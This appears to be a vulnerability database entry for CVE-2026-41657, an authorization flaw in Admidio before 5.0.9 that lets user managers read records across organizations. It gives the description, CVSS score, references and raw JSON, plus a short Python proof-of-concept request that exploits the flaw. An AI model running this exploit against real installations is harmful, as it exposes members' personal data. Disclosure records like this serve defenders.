CVE-2026-41657

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the contacts_data.php endpoint uses a weaker permission check (isAdministratorUsers(), requiring only rol_edit_user=true) than the frontend UI (contacts.php) which correctly requires the stronger isAdministrator() (requiring rol_administrator=true) and the contacts_show_all system setting. A user manager who is not a full administrator can directly request contacts_data.php?mem_show_filter=3 to retrieve all user records across all organizations in the Admidio instance, bypassing multi-tenant organization isolation. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (adjust based on installation path)
target_url = "http://target-admidio-site/admidio/adm_program/modules/contacts/contacts_data.php"

# Attacker's session cookie (User with rol_edit_user=true, not necessarily full admin)
cookies = {
    "PHPSESSID": "valid_session_id_of_user_manager"
}

# Exploit parameter: mem_show_filter=3 retrieves all users across all organizations
params = {
    "mem_show_filter": "3"
}

try:
    response = requests.get(target_url, params=params, cookies=cookies, timeout=10)
    if response.status_code == 200:
        print("Exploit successful! Sensitive data retrieved:")
        print(response.text)
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41657
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41657
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41657/
[4] VulDB https://vuldb.com/cve/CVE-2026-41657
[5] https://github.com/Admidio/admidio/releases/tag/v5.0.9
[6] https://github.com/Admidio/admidio/security/advisories/GHSA-g8p8-94f2-28gr
[7] https://github.com/Admidio/admidio/security/advisories/GHSA-g8p8-94f2-28gr

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41657", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:28.920", "lastModified": "2026-05-07T14:51:01.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the contacts_data.php endpoint uses a weaker permission check (isAdministratorUsers(), requiring only rol_edit_user=true) than the frontend UI (contacts.php) which correctly requires the stronger isAdministrator() (requiring rol_administrator=true) and the contacts_show_all system setting. A user manager who is not a full administrator can directly request contacts_data.php?mem_show_filter=3 to retrieve all user records across all organizations in the Admidio instance, bypassing multi-tenant organization isolation. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g8p8-94f2-28gr", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g8p8-94f2-28gr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}